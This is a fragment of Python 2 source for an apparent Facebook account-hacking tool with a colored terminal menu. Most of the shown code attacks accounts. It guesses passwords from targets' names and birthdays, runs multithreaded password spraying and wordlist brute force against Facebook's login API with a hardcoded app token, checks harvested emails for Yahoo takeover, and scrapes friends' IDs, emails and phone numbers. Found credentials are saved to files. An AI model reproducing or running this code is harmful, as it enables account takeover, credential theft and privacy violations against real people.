print '\n\x1b[1;91m[!] Login failed' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: os.system('clear') print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) Name = a['name'] id = a['id'] except KeyError: os.system('clear') print '\x1b[1;91m[!] \x1b[1;93mSeems like Checkpoint account' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] There is no connection' Exit() os.system('clear') print logo print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Name \x1b[1;91m: \x1b[1;92m' + Name print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' print '\x1b[1;37;40m1. User Information' print '\x1b[1;37;40m2. Hack Facebook Account' print '\x1b[1;37;40m3. Bot ' print '\x1b[1;37;40m4. Others.... ' print '\x1b[1;37;40m5. LogOut ' print '\x1b[1;31;40m0. Exit ' print choose() def choose(): zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Dont be empty' choose() else: if zedd == '1': inforDieon() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': other() else: if zedd == '5': os.system('rm -rf login.txt') os.system('xdg-open https://www.facebook.com/GadgetLink') Exit() else: if zedd == '0': Exit() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mThere is no' choose() def inforDieon(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mFeedback ID\x1b[1;97m/\x1b[1;92mName\x1b[1;91m : \x1b[1;97m') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 40 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mName\x1b[1;97m : \x1b[1;91mThere is no' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mThere is no' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mThere is no' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNumber HP\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNumber HP\x1b[1;97m : \x1b[1;91mThere is no' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLocation\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLocation\x1b[1;97m : \x1b[1;91mThere is no' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mDate of birth\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mDate of birth\x1b[1;97m : \x1b[1;91mThere is no' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSchool\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mThere is no' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] User not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() def menu_hack(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m2. Multi Bruteforce Facebook' print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m5. Yahoo Checker' print '\x1b[1;37;40m6. Take id/email/hp' print '\x1b[1;31;40m0. Back' print hack_choose() def hack_choose(): hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Dont be empty' hack_choose() else: if hack == '1': mini() else: if hack == '2': crack() theresults() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mThere is no' hack_choose() def mini(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] The target account must be friends with your account first !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : ' + a['name'] Street('\x1b[1;91m[+] \x1b[1;92mCheck \x1b[1;97m...') time.sleep(2) Street('\x1b[1;91m[+] \x1b[1;92mUnlock Security \x1b[1;97m...') time.sleep(2) Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease Wait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mWas Found.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mWas Found.' print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mWas Found.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mWas Found.' print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mWas Found.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mWas Found.' print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mWas Found.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mWas Found.' print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Sorry, failed to open password target :(' print '\x1b[1;91m[!] Try it in a other way.' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] No Target Was Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_hack() def scrak(): global back global itworks global checkpoint global failed global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('itworks.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() itworks.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('checkpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() checkpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: failed.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(itworks)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(checkpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Connection interrupted' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] There is no connection' def theresults(): print print 40 * '\x1b[1;97m\xe2\x95\x90' for b in itworks: print b for c in checkpoint: print c print print '\x1b[31m[x] failed \x1b[1;97m--> ' + str(len(failed)) Exit() def super(): global toket os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Crack from the list friend' print '\x1b[1;37;40m2. Crack from member group' print '\x1b[1;31;40m0. Back' print choose_super() def choose_super(): peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Dont be empty' choose_super() else: if peak == '1': os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' Street('\x1b[1;91m[+] \x1b[1;92mTake id friend \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID group \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] group was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mThere is no' choose_super() print '\x1b[1;91m[+] \x1b[1;92mAmount ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 40 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mDone' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') super() def brute(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mAmount\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mTry \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mWas Found.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw Exit() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecheckpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mWas Found.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw Exit() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Connection Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File was not Found...' print '\n\x1b[1;91m[!] \x1b[1;92mSeems like you have not wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mWant to make wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Please choose \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Please choose \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. from friend facebook' print '\x1b[1;37;40m2. Use File' print '\x1b[1;31;40m0. Back' print yahoo_choose() def yahoo_choose(): go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Dont be empty' yahoo_choose() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mThere is no' yahoo_choose() def yahoofriends(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') friend = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(friend.text) save = open('MailValid.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] Name = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + Validot + '\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + Name print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + Valid + '\x1b[1;97m]' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + Validot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mDone' print '\x1b[1;91m[+] \x1b[1;97mStored \x1b[1;91m:\x1b[1;97m MailValid.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] There is no File' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') save = open('MailValid.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + Validot + '\x1b[1;97m] Green[\x1b[1;92m' + Valid + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mDone' print '\x1b[1;91m[+] \x1b[1;97mStored \x1b[1;91m:\x1b[1;97m MailValid.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_yahoo() def grab(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Take ID friend' print '\x1b[1;37;40m2. Take ID friend from friend' print '\x1b[1;37;40m3. Take ID member group' print '\x1b[1;37;40m4. Take Email friend' print '\x1b[1;37;40m5. Take Email friend from friend' print '\x1b[1;37;40m6. Take No HP friend' print '\x1b[1;37;40m7. Take No HP friend from friend' print '\x1b[1;31;40m0. Back' print grab_choose() def grab_choose(): cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Dont be empty' grab_choose() else: if cuih == '1': id_friend() else: if cuih == '2': idfrom_friend() else: if cuih == '3': id_member_group() else: if cuih == '4': email() 